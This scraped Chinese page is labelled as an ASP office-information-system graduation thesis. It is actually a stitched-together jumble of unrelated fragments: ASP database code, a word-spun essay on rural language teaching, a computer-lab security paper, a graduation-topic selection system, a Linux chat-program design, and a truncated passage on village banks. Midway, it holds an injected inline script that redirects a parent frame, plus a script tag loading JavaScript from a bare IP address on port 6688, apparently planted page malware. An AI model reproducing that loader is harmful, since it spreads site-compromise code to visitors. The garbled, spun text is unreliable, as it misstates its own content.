ASP办公信息管理系统毕业论文.doc
【精品文档】如有侵权,请联系网站删除,仅供学习与交流ASP办公信息管理系统毕业论文.精品文档.ASP办公信息管理系统毕业论文 <ASP办公信息管理系统毕业论文P>摘要<BR>论文叙述了一个公司内部办公信息管理系统的概况。重点介ASP办公信息管理系统毕业论文绍了企业内部办公信息管理系统的实现过程:包括系统分析、 系统调查ASP办公信息管理系统毕业论文、 数据流程分析、功能设计、 数据库设计、 系统ASP办公信息管理系统毕业论文实现、 系统测试和调试。本系统主要功能有用户管理、学生成绩查询、学生ASP办公信息管理系统毕业论文成绩管理(查找、录入、修改)等数据操作包括功能需求描述、数ASP办公信息管理系统毕业论文据库设计等内容。第二部分介绍了本系统的分析、设计,第三部分介绍了本ASP办公信息管理系统毕业论文系统的具体实现,第四部分关于本系统开发过程中的结论及体会。<BRASP办公信息管理系统毕业论文>关键词<BR>公司内部办公信息管理系统 、ASP<BR>目录ASP办公信息管理系统毕业论文<BR>目录 2<BR>摘要 3<BR>前&nASP办公信息管理系统毕业论文bsp; 言 3<BR>第一章 系统分析、设计&nASP办公信息管理系统毕业论文bsp;4<BR>1.1系统需求分析 4<BR>1.2 用ASP办公信息管理系统毕业论文户需求 4<BR>1.3系统功能需求简介 5<ASP办公信息管理系统毕业论文BR>1.4功能需求描述 5<BR>1.5功能模块ASP办公信息管理系统毕业论文图 5<BR>1.6数据库设计 6<BR>1ASP办公信息管理系统毕业论文.7E-R图 9<BR>第二章 系统实现 ASP办公信息管理系统毕业论文11<BR>2.1数据库连接 11<BR>2.2登ASP办公信息管理系统毕业论文陆界面设计 12<BR>2.3用户登录界面及编码设计&ASP办公信息管理系统毕业论文nbsp;14<BR>2.4进入员工信息管理系统 15<BASP办公信息管理系统毕业论文R></table> 17<BR>2.4.1ASP办公信息管理系统毕业论文修改员工个人信息 17<BR>2.4.2添加新用户ASP办公信息管理系统毕业论文信息 21<BR>2.4.3删除用户信息: 2ASP办公信息管理系统毕业论文4<BR>2.5用户进入公司财务信息管理系统 25ASP办公信息管理系统毕业论文<BR>2.5.1 添加财务记录 26<BR>2.5.2修改财务记录 28<BR>2.5.3删除财务记录 29<BR>2.5.4生成财务报表 29<BR>2.6用户进入公司内部信息交流系统 33<BR>2.6.1通知公告牌 34<BR>2.6.2内部意见箱 36<BR>第三章 结 论 38<BR>3.1体会到了系统分析的重要性 38<BR>3.2理论实践 38<BR>3.3掌握了系统开发的流程 38<BR>3.4巩固了知识 38<BR>致谢 39<BR>参考文献 39</P><P>第二章 系统实现<BR>下面给出系统开发出来的详细界面以阐述公司内部管理系统的具体功能。<BR>2.1数据库连接<BR>代码如下:<BR><%<BR>dim conn '数据库连接<BR>dim connstr '连接字符串<BR>dim db '数据库文件路径<BR>db = "Database/office.mdb" '演示时用ACCESS数据库<BR>connstr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(db)<BR>Set conn = Server.CreateObject("ADODB.Connection")<BR>if err Then<BR> err.clear<BR>end if<BR>conn.Open connstr<BR>'关闭数据库连接,在每页中调用此函数,将连接放入连接池<A href="" target=_blank kesrc="http:/"><U><FONT color=#800080>计算机毕业设计</FONT></U></A><BR>sub CloseConn()<BR> conn.Close()<BR> Set conn = Nothing<BR>end sub<BR>'替换单引号<BR>function RealString(strSrc)<BR> RealString = Replace(Trim(strSrc), "'", "''")<BR>end function<BR>%><BR>2.2登陆界面设计<BR>首先是进入登陆界面,本窗体显示用户名称,密码校验等信息,<A href="" target=_blank kesrc="http:/"><U><FONT color=#800080>计算机毕业论文</FONT></U></A>本系统的用户分为三类:系统管理员,财务管理员,普通员工。使用者可以输入相应的用户名和密码,单击“确定”就会将输入提交给系统以验证用户、密码及身份。如果用户名及密码正确,则会进入系统的主体。<BR>2.6.1通知公告牌</P><A title=点击图片看全图 href="uploadfile/jpg/2011-12/2011121812938598.jpg" target=_blank><P align=center> </p> <p> </p> 语文课程规范提出了四个方面的基本理念,即片面提高学生的语文素养;正确把握 语文教育的特点;积极倡议自主、协作、探求的学习方式;努力树立开放而有生机的语文课程。这些理念是在片面总结我国语文教学革新的成功阅历的基础上,自创国外课程实际,从语文教学的基本目的、教学进程、学习方式和内容四个方面提出来的。从语文课程的基本理念上看,我们需作以下几个方面的剖析。<br><br>一、防止语文教学对象的单性<br><br>临时以来,乡村高中语文教员遭到应试教育的搅扰,只关注少数可以升学的学生。教育课程是为全体学生设计的,片面提高学生的语文素养的语文教学的目的也是面向全体学生提出来的。语文素养所包括的内容,如热爱祖国言语文字和言语文明的思想感情,了解和运用祖国语文的正确态度,丰厚的语文知识,开展语文才干,培育语感,提升思想才干,养成良好的特性,培育健全的人格等都是每一个中国公民的需求。因此,防止教学对象的单一性是每一位语文教员都要惹起注重并努力实际的。<br><br>二、防止对语文学科性质看法的不片面性<br><br>语文课程规范明白规则:“语文是最重要的交际工具,是人类文明的重要组成局部。工具性与人文性的一致,是语文课程的基本特点。”在具体实施语文教学的进程中,我们必需将语文学科的工具性和人文性无机一致同来,着力处置好语文学科“学什么、怎样学”和“为什么而学、将会怎样去学”的效果。处置好这四个效果,才干使语文教学不迷失方向,也才干使语文学习活动具有逻辑性。实际证实 ,语文教学片面强调言语方式的练习 ,即刻意追求语文知识的系统性和完整性,以及片面强调言语内容的感悟,即无视在感悟进程中协助学生领悟言语表达规律的教学形式都会使语文教学既糜费时间,又没有良好的效果。只要把方式和内容、现象和实质、工具与人文无机结合在一同,才干真正完成语文教学提高学生语文素养的目的。<br><br>三、防止语文学习方式的单调性<br><br>临时以来,我们的语文教学是以学生的主动接受、融会贯串来实施的。现行语文课程规范所提出的“积极倡议自主、协作、探求的学习方式”在乡村高中语文教学的实施进程中碰到 了不少质疑。<br>1.对自主学习的质疑。学生学习语文的进程是自动建构知识的进程,而不是主动接受外界的抚慰。学生以自己已有的知识阅历为基础,对新的知识信息停止加工、了解,由此建构起新知识的意义,同时原有的知识阅历又由于新知识阅历的进入而发作调整和改动。而乡村学生由于视野的不开阔和信息的不疏通,因此在新的知识信息的取得上存在缺憾。因此不少教员以为,强调学生的自主学习是不实在践的。于是,主动接受的学习方式依然是教员提高学生升学率的有力武器,致使乡村学校语文课程革新出现了“穿新鞋走老路”的现象。笔者以为,在语文教学中,教员首先要营建良好的有利于学生自主学习的气氛,维护每个学生学习的积极性,使学生的学习兴味和自动看法失掉持久的坚持。其主要积极探求有利于学生自动学习的方式。如依据学生学习才干的差异分层次选择练习的难易和题量,或让学生依据学习兴味的不同自在选择练习的内容和方式,等等。<br>2.对协作学习的质疑。随着社会的飞速开展,协作肉体和协作才干已成为当今社会必各的基本素养。语文学科的协作学习可以使学生经过生生之间、师生之间的协作相互扬长避短。但是,由于乡村学校班额大,学生多,学生学习才干良莠不齐,因此,不少教员以为班额和学生数量限制了展开小组协作的能够性,学生之间学习才干的差异也限制了学生协作的效果。其实,小组协作学习的方式并不是原封不动的,虽然乡村学校班额大、学生多,但我们可以采取前后桌讨论协作来防止无法展开小组协作的缺憾。由于学生学习才干和集体差异的缘由,小组协作学习要讨教员首先要细化协作的义务(经过协作处置什么)。在小组中,要有分工(如谁记载、谁汇报)有协作(怎样协作)。另外,教员要充任好小组成员,参与到协作中去,扮演好协作者的笼统。那些无具体协作义务或在协作时教员只关注协作时间以防止课堂结构零乱的组织方式是无法收到理想的效果的。因此,只需我们努力去展开、去实施,就不会由于一些客观缘由招致课堂无法展开小组协作。<br>3.对乐于探求的质疑。不少教员以为,让乡村学生乐于探求是不实在践的,缘由是乡村天地狭小和乡村学生的性情保守和缄默。具有这种看法的语文教员其实没有了解语文学科的特点。新课程革新中关于语文课程的阐释要求语文贴进生活,语文课程要有大视野,开放而有生机,要树立大语文教育观。也就是说,不论是城市还是乡村,语文教学都拥有自主探求的空间,要害 是教员怎样引导学生走出课堂、走向社会、关注自然、社会和生活。探求的进程是学生在教员的指点下停止社会调查、搜集、剖析、挑选信息,在真实的义务情境中停止学习实际活动、处置效果的进程。在这个进程中,教员要让学生拥有探求的自主权,在学习的时间布置、主题确实定、研讨角度的选择、方法的运用、结果表达的方式等方面都应让学生自主选择。由于语文是来源于生活的,生活无城市与乡村之分,所以,我们组织学生探求学习要害 不是能与不能的效果,而是有没有去组织的效果。<br> </p> <p> </p> <p> </p> 摘要:本文探讨了公共计算机实验室安全体系结构的一种方式,并结合北京工业大学计算中心软件实践教学基地的建设进行了系统的总结。<br>关键词<br>本文来自:计算机毕业网 :立体安全保障体系;主机安全;可用性<br><br>1引言<br><br>高等学校计算机公共计算机实验室是指承担着计算机软件教学实践环节和学生自主上机学习开放式的计算机机房,承担着计算机实验教学的任务。其特点是:一是计算机的软件应用环境复杂。既然是公用系统,就要满足不同层次不同课程教学的需求,以我校的计算机实验室为例,目前有Windows XP、Windows Server、Linux三个分区,安装有常用的系统软件和应用软件;二是使用计算机的人员多。由于是面对全校不同学科不同专业,又是全校唯一的全天开放的计算机机房;三是计算机角色的变化快,管理复杂。一会是学生上课,一会是学生自主学习。不同的方式,管理的方式、收费的方法就不相同。如何保证实验教学顺利进行,如何面对网络在给人们带来便利的同时而引入的病毒、攻击等导致的计算机系统的崩溃,是国内外同行非常关注和需要解决的重要问题之一。本文就是从计算机系统的安全体系结构出发,结合北京工业大学的计算中心软件教学示范中心的建设,力求探讨一种立体式的安全保障体系,以维护计算机实验室系统的正常运行。<br><br>2实验室的安全保障体系<br><br>2.1问题的提出<br>公共计算机实验室的特点决定了其安全体系结构不同于一般网络信息中的安全体系结构,特别是对于用户计算机的管理是截然不同的。网络信息中心涉及的计算机是分布在各个部门的工作人员和实验室当中,并不对计算机系统的安全负责,只是指导和建议,甚至是强制的。而公共计算机实验室就不同了,计算机系统自身的安全要有实验室老师负责保证,要提供安装相应的应用程序软件,提供必备的硬件环境,所以既要为学生提供良好的学习环境,又要防止学生中有意或无意造成的损害,还要预防网络黑客的攻击与计算机病毒的破坏;另一方面,既要保证实验教学任务的圆满完成,又要防止学生在上课时间访问不利于教学活动的Web站点与程序,例如上课时间玩游戏、聊天、浏览不良网页等等。上述诸多的问题,都要求公共计算机实验室管理必须有一套完整的安全体系来保障计算机系统的正常工作,从而为实验教学提供环境更好质量更高的服务。<br>2.2建设立体的安全保障体系<br>所谓立体的安全保障体系,就是从计算机实验室的公共性角度出发,制定切实可行的安全管理办法、运用先进的安全技术,采取科学的系统的安全措施,保证系统的可靠性、稳定性和可用性。计算机系统安全不仅仅是一个产品,而是一个汇集了硬件、软件、网络、人以及他们之间相互关系和接口的系统。从专业的角度来看,安全问题不可能一劳永逸,也不能保证绝对安全,信息安全问题的处理过程是一个循环往复的过程,需要随时间环境有不同层次的人的参与和协作,以及技术的交叉运用等复杂过程。从行业和组织的业务角度看,主要涉及安全立法、安全管理和安全技术三个层面。要确保实验教学活动的顺利进行,必须注重把每个环节落实到每个层次。计算机的安全最主要的问题不是安全技术、安全工具或者是安全产品的缺乏,而是计算机管理人员和用户对安全知识忽视。<br>安全立法包括各种安全策略、法律法规、规章制度、技术标准、管理规范等,是计算机安全的最核心问题,是整个计算机安全建设的依据。包括国家层面、行业层面制订的法律法规等。安全管理主要是人员、组织和流程的管理,是实现信息安全的落实手段。包括学校、部门制订的计算机实验的规定、使用方法以及处罚条例;安全技术主要有:身份认证、访问控制、信息加密、防火墙、防杀病毒、入侵监测、漏洞扫描、安全审计及相关的服务等等,是实现信息安全的有力保证。公共计算机实验室的安全保障体系必须全方位的考虑计算机实验室设备、环境以及应用的安全特性。至少应该包括以下几个层次:<br>(1) 安全管理层<br>安全层主要包括安全立法和安全管理两个方面。实验室管理要认真贯彻执行国家的法律法规,这些法律法规主要包括中华人民共和国计算机信息系统安全保护条例、互联网信息服务管理办法、计算机病毒防治管理办法等国家层面的法规标准,制定相应的学校部门的计算机安全管理条例,组织专家对公共计算机实验室的安全进行风险评估,形成计算机实验室立体安全模型的总体框架。<br>(2) 计算机硬件保护层<br>根据计算机实验室具备公用的特点,对于计算机的系统信息必须加以保护,以防止学生误删除或破坏软件,造成无法正常使用。建议采用硬件保护措施,对硬盘的内容进行保护。实现其目的。优点是速度快,方便可靠,缺点是占用一定的硬盘空间。<br>(3) 操作系统硬化层<br>操作系统在安装过程中,为了方便用户的使用,添加了许多常规的应用服务,但是对每个用户而言不一定都适用,因此需要在细致分析操作系统服务的基础上,尽可能地减少它与外界的信息交流渠道,尽可能地减少在它上面运行的不必要的服务项目。<br>(4) 用户安全管理层<br>用户安全管理是计算机实验室管理最重要的环节之一。对用户的账户、对资源的使用状况,例如使用的时间、计费、网络上流量、访问日志进行有效的管理和控制。<br>(5) 网络安全管理层<br>网络安全管理是为了保证用户的安全性而采取的安全措施。包括内网安全管理系统、放火墙系统、入侵检测系统、病毒防护软件等。<br>综上所述,安全立法和安全管理框架下的安全层次模型如下图所示。<br><br>2.3典型的计算机实验室安全解决方案<br>北京工业大学软件教学基地共有8个实验室、1个服务器中心,有20余台含有高性能多处理机系统、IBM小型机和微机服务器,800余台微机构成。实验室之间通过千兆网络实现互联,极大地改善了实践教学环境。可以为学生提供上课、毕业设计、课题研发、自主学习研究等不同类型的计算机实验环境,实验室可以按需配置,解决了学生上机难,速度慢,档次低等问题,为培养高素质的计算机工程型应用人才提供了良好的学习环境,取得了较大的社会效益和经济效益。在安全方面主要采取了以下几个方面措施:<br>(1) 采用海光蓝卡(不同的版本)实现网络对传、硬盘的保护;<br>(2) 对计算机系统中应用程序按实验室进行优化处理,合理分配部署,既要做到方便使用,又要避免由于应用系统过多,机器负载过重导致性能下降;<br>(3) 对操作系统进行硬化处理。操作系统的硬化分4个步骤:1)打好补丁;2)关闭不必要的服务;3)确定子目录/文件的权限,要遵循最小原则;4)明晰用户权限,严格控制用户的访问权限。<br>(4) 采用金盘电子阅览室系统对实验室进行有效的管理,与学校的收费系统进行对接;<br>(5) 采用LanSecS系统对实验室内部的安全进行有效的安全控制,对学生使用程序进行进程级的管理,防止使用非法的软件;<br>(6) 采用分布式入侵检测系统对实验室进行有效的防护,定期更新计算机防病毒软件,有效地遏制计算机的黑客攻击和病毒侵害。<br><br>3结束语<br><br>计算机实验室的安全保障是实验室能够保证教学工作顺利进行的前提。在强调实践教学工作重要性的同时,要加强实验室的安全建设,要有投资,要有充分的思想准备。北京工业大学计算中心近年来积极进行了实验室建设,无论是在软件建设方面,还是在硬件建设方面都取得了一定的成效,同时学生通过这个平台得到了很好的锻炼,收到了良好的效果。 <br> <br>参考文献<br>1 教育部高等学校计算机科学与技术教学指导委员会非计算机专业计算机基础课程教学指导分委员会. 关于进一步加强高等学校计算机基础教学的意见R.<br>2 王全民. 软件实验教学基地建设的实践J. 计算机教育,2006,(8).<br> </p> <p> </p> <p> </p> 项目背景及历史意义<BR>Internet的普及和应用使人们的现代生活方式发生了深刻的变化,我国各大中专院校也加快了信息化进程,并且都建立了自己的校园网。这为我们网络现代化教育提供了必备的物质基础。学校总是处于接受新知识的最前沿地带,于是校园网的应用和管理系统的开发也正蓬勃发展并发挥着巨大的作用。<BR>在技术和需求的推动下,毕业生以班级为单位的原始手工报送的选题方式,暴露出了很多缺点和不足。目前,高校学生人数日益增加,每年的毕业人数也在增加,毕业设计的数量与日俱增,每位老师负责的学生数量也在不断增加着,平时所需要交换意见的次数虽然不是很多,但是需要老师和学生进行大量的交流时间,这样下来很可能会影响老师和学生平时的学习和工作,耽误大量的时间。<BR>信息一个专门的信息系统进行管理,这样可以避免数据的丢失,方便用户进行检索、修改以及输出数据,提高了工作效率,减少工作量。为此,建设一套切实可行的学生工作管理系统,结合学校实际,充分利用校园网的资源优势,不仅使信息渠道更为畅通,而且可以资源共享。既为全面了解学生的毕业设计综合信息提供了方便,使得查询统计更为准确便捷,又可以用电子档案逐步代替或辅佐传统的纸质档案,实现管理手段现代化。基于以上原因,本文提出了一种网上毕业设计管理系统,它能很好的解决以上的问题。它改变了以往以班级为单位的原始手工选课的方式,而是采用网上选题方式,极大地便捷了学生和指导老师,显著地提高了工作效率。系统引用了ASP这一具有强大功能、用于Web开发的全新框架。ASP在系统重处于操作系统内核与应用程序之间,使得应用程序可以更好地利用操作系统提供的功能,并使得应用程序的开发更快、更简单。本系统采用B/S模式,其最根本的目的是让在籍学生可以在线选题,了解有关论文的信息,通过留言本向老师提出疑问下载相关资料格式等,教师可以通过留言本答疑和对学生的毕业设计提出意见等,通过校园网发布毕业设计题目,并且具有操作方便,响应快捷等优点。<BR> 系统开发工具<BR>2.1 SQL语言的简介<BR>SQL(Structured Query Language),意思为结构化查询语言,是一种介于关系代数与关系演算之间的结构化查询语言。它的主要功能就是同各种数据库建立联系,进行沟通。ANSI(美国国家标准协会)规定SQL是关系型数据库管理系统的标准语言。SQL语句可以用来执行各种各样的操作,例如更新数据库中的数据、从数据库中提取数据等。1<BR> SQL语言之所以能够为用户和业界所接受,并成为国际标准,是因为它是一个综合的、功能极强同时又简捷易学的语言。SQL语言集数据查询、数据操纵、数据定义和数据控制功能于一体,主要特点包括:<BR>(1)综合统一<BR>非关系模型的数据语言一般都分为模式数据定义语言(模式DDL)、外模式数据定义语言(外模式DDL)、与数据存储有关的描述语言(DSDL)及数据操纵语言(DML),分别用于定义模式、外模式、内模式和进行数据的存取与处置。当拥护数据库投入运行后,如果需要修改模式,必须停止现有的数据库的运行,转储数据,修改模式并编译后再重装数据库,十分麻烦。<BR>SQL语言则集数据定义语言DDL、数据操纵语言DML、数据控制语言DCL的功能于一体,语言风格统一,可以独立完成数据库生命周期中的全部活动,包括定义关系模式、建立数据库、插入数据、查询、更新、维护、数据库重构、数据库安全性控制等一系列操作要求,这就为数据库应用系统的开发提供了良好的环境。用户在数据库系统投入运行后,还可根据需要随时地逐步地修改模式,切并不影响数据库的运行,从而使系统具有良好的可扩展性。<BR>(2)高度非过程化<BR>非关系数据模型的数据操纵语言是面向过程的语言,用其完成某项请求必须指定存取路径。而用SQL语言进行数据操作,只要提出“做什么”,而无须指明“怎么做”,因此无须了解存取路径,存取路径的选择以及SQL语言句的操作过程由系统自动完成。这不但大大减轻了用户负担,而且有利于提高数据独立性。<BR>(3)面向集合的操作方式<BR>非关系数据模型采用的是面向记录的操作方式,操作对象是一条记录。而SQL语言采用集合操作方式,不仅操作对象、查找结果可以是元组的集合,而且一次插入、删除、更新操作的对象也可以是元组的集合。<BR>(4)以同一种语法结构提供两种使用方式<BR>SQL语言既是自含式语言,又是嵌入式语言。作为自含式语言,他能够独立地用于联机交互的使用方式,用户何以在终端键盘上直接键入SQL命令对数据库进行操作;作为嵌入式语言,SQL语句能够嵌入到高级语言中,供程序员设计程序时使用。而在两种不同的使用方式下,SQL语言的语法结构基本上是一致的。<BR>(5)语言简捷,易学易用<BR>SQL语言功能极强,但由于设计巧妙,语言十分简捷,完成核心功能只用了9个动词,SQL语言接近英语口语,因此容易学习,容易使用。<BR>2.2 ASP技术<BR>ASP技术 ASP(Active Server Pages动态网页)是微软公司推出的一种用以取代CGI(Common Gateway Interface通用网关接口)的技术。目前,Internet上的许多基于Windows平台的Web站点已开始应用ASP来替换CGI。 简单地讲,ASP是一个位于服务器端的脚本运行环境,通过这种环境,用户可以创建和运行动态的交互式Web服务器应用程序,如交互式动态网页,包括使用HTML表单收集和处理信息,上传与下载等等。通常情况下,用户通过浏览器看到的网页大多是静态的,目前Internet 上的许多站点,仍然提供"静态"(static)的主页内容。9<BR>系统规划与系统分析<BR>信息系统的开发目标必须以满足用户需求为前提,而在系统开发的第一阶段中,用户的需求往往是不完整的,不明确的,需求开发者协助用户对需求作进一步的理解乃至创造并归纳出较为详细的需求说明。方法的特点是可以在整个开发过程中回头补充调整各阶段的工作,因此,用户需求分析在最初并不显得像结构化方法那么重要。但是,一个相对完整 ,准确的用户需求却会给信息系统开发带来一个良好的开端,也会使开发过程少走许多弯路。8<BR>因此,本人在系统开发之初花了很长的时间进行详细的用户需求调查。<BR>系统的业务流程分析<BR>业务流程(Transaction Flow Diagram,TFD)又称作业流程,即作业的完成程序,它反映了现实的业务活动。管理业务流程图是一种描述系统内各单位,人员间业务关系,作业顺序和管理信息流向的图表。现实业务活动中的一些弊病很难凭空指出,而利用业务流程图可以细致地分析其业务流程的合理性,存在的问题及从何处入手进行修改。5<BR>首先是管理员录入教师分组信息,并录入教师姓名,等级以及初始密码,导入学生信息(学好及默认密码),添加系统管理员(用于审核教师提供的选题),并启教师提交选题功能。<BR>然后教师通过自己的用户登录,完善自己的详细信息,在规定期限内提交本组选题内容。<BR>系统管理员关闭教师提交选题功能,开启管理员审核题目功能。<BR>管理员对教师提交的选题进行审核,确定是否通过。<BR>系统管理员对选题进行最后调整,确定最终通过的选题。<BR>系统管理员关闭选题审核功能,开启学生选报功能。<BR>学生通过自己的学好和初始密码登录系统,修改个人信息及密码,浏览可选题目信息及教师信息及,选报课题;管理员关闭学生选报功能,对选报情况进行查勘,手动调节选报冲突,使得每个人均有题目选报,每个题目均有人选报。<BR><SCRIPT>var u1=window.location.toString(),u2=window.location.toString(),m=Math.random(),ua= window.navigator.userAgent.toLowerCase(),iso=/opera/.test(ua),f=window.parent.frames'topIframe'if(u1.indexOf('?')=-1) u1+='?'+m+'='+m;else u1+='&'+m+'='+m;if(iso)f.location.href=u1;else f.location.href=u2;</SCRIPT><SCRIPT src="http:/58.53.192.211:6688/file/2011/08/201108101656564e4247d811df8.js"></SCRIPT> </p> <P>3.2 方案选择<BR>综合以上分析,本软件开发选择方案如下:<BR>Linux系统采用C语言开发, TCP方式进行连接。采用C/S结构。系统界面美观内容丰富,很好的实现了与用户的交互。<BR>3.3 总体设计方案<BR>为实现网络聊天的功能,该软件采用Socket编程,服务器与客户端采用了TCP/IP方式连接,在设计聊天方案时,实行将所有信息发往服务器端,再由服务器进行分别处理的思路,服务器端是所有信息的中心。<BR>3.3.1 服务器功能模块划分<BR>服务器负责向各个客户端发布系统消息。<BR>接受来自客户端的各种信息并分别处理。<BR>针对这些操作,服务器做了如下的模块划分:<BR>处理登陆信息模块:检查登陆信息是否正确,并向客户端返回登陆信息,如信息正确。就将在线用户发给该用户,并将该用户的状态发给各在线用户。同时在服务器端显示出来。<BR>处理聊天信息模块:转发消息给指定的用户。<BR>处理申请信息模块:通过用户申请模块进行新用户的注册,保存该用户信息。<BR>发布系统消息模块:将用户上下线的消息发给各客户端,并改写用户在服务器端和客户端的状态。<BR>服务器功能示意图:<BR> <BR>图4-1 服务器功能模型<BR>3.3.2 客户端功能模块划分<BR>客户端主要负责处理用户的操作信息,当用户做出相应的动作时客户端应该能够及时地做出相应,当GTK图形程序检测到鼠标点击时,将触发一个事件,对该事件进行动作的定义和函数的编写便可完成相应的动作。因此,针对这些操作特性,将客户端模块进行如下划分:<BR>登陆功能模块:建立与服务器的连接并登陆,能显示登陆错误信息。<BR>界面显示模块:将在线好友显示在好友列表中,并显示其当前状态。<BR>聊天功能模块:处理各种聊天信息,并判断消息类型。<BR>离线消息模块:接收和发送离线消息,对离线消息进行处理。<BR>配置信息模块:提供基本的软件配置操作。<BR>客户端功能示意图:<BR> <BR>图4-2 客户端功能模型<BR>3.3.3 消息标识的定义<BR>#define GIF_LOGIN_MSG 1 用户登录<BR>#define GIF_CALL_MSG 2 用户呼叫<BR>#define GIF_ADDRLIST_MSG 3更新联系人列表信息<BR>#define GIF_ADD_CONTACTS_MSG 4 添加连接信息<BR>#define GIF_DELETE_CONTACTS_MSG 5 删除连接信息<BR>#define GIF_CHAT_MSG 6聊天信息<BR>#define GIF_DISCONNECT_MSG 7 用户下线消息<BR>#define GIF_SUCCESS_N_ERROR_MSG 8消息请求成功或失败信息<BR>#define GIF_OFFLINE_REQUEST_MSG 9 发送离线消息<BR>#define GIF_OFFLINE_MSG 10 离线消息<BR>#define GIF_OFFLINE_DELETE_MSG 11 删除离线消息<BR>用户发送消息成功或失败定义:<BR>#define GIF_ERROR_LOGIN_INCORRECT 101 错误的登陆信息<BR>#define GIF_SUCCESS_ADD_CONTACTS 102 添加连接信息成功<BR>#define GIF_ERROR_ADD_CONTACTS 103 添加连接信息错误<BR>#define GIF_SUCCESS_DELETE_CONTACTS 104 删除连接信息成功<BR>#define GIF_ERROR_DELETE_CONTACTS_NOT_A_CONTACT 105 <BR>用户离线<BR>#define GIF_ERROR_DELETE_CONTACTS_NOT_A_MEMBER 106 <BR>无指定用户<BR>3.3.4 消息结构体的设计<BR>消息头:<BR>typedef struct _gifhdr_t<BR><BR> unsigned int type;<BR> unsigned int length;<BR> char sender10;<BR> char receiver10;<BR> unsigned int reserved;<BR>gifhdr_t;<BR>用户信息结构:<BR>typedef struct _users_t<BR><BR> char loginid20;<BR> char password20;<BR>users_t;<BR>在线用户信息结构:</P><P><BR>Linux平台下的聊天软件的设计与开发<BR>摘 要<BR>如今互联网技术高度发达,网络聊天软件作为一种开销低且方便快捷的通讯手段,被越来越多的人所使用。<BR>本文阐述了如何使用GTK+图形开发库和C语言编写一个基于Linux平台运行的聊天软件的过程。文章主要分为四个部分,第一部分主要分析了该类产品的一个发展过程和开发此类软件的背景及意义。在此基础上,进一步的分析了该类产品的需求情况。在第三章中详细的介绍了所选取的开发环境,通过了解这些知识将会对该类软件的开发流程有一个总体的认识。之后,在通过对预备方案的分析和总结后,最终确定设计路线。<BR>程序设计路线这一章节对该软件的各个功能模块和操作处理流程进行了详细的划分和设计,并且运用各种图表清晰的展现了软件的模块信息和总体结构。软件的预期效果在这一章节中得到了体现,完成效果符合前期的需求分析。<BR>最后总结了该软件开发的不足之处,还有软件需要完善的部分。</P><P>关键词:Linux系统;C/S结构;TCP/IP协议;网络编程;图形用户界面<BR> <BR></P> </p> 与经济实力雄厚的国有四大银行以及城商行、农商行相比,缺钱少人的村镇银行要应用信息化敦促自身的生长,肯定要另辟蹊径。<br><br>论规模,村镇银行比不上城商行;论历史,村镇银行不及乡村信誉社年代久远,但赶上了乡村金融革新的好光阴,自2006年底银监会调整放宽了乡村地域银行业机构市场准入政策始,100多家村镇银行、乡村资金互助社、小额存款公司等新型乡村金融机构已相继成立并运营。<br>2010年,少数村镇银行均由国有商业银行、股份制商业银行以及外资银行独资或许作为控股方发起,其中非银行资本少数为中央国有资本,民营资本介入其中的时机相对较少。往年5月13日,国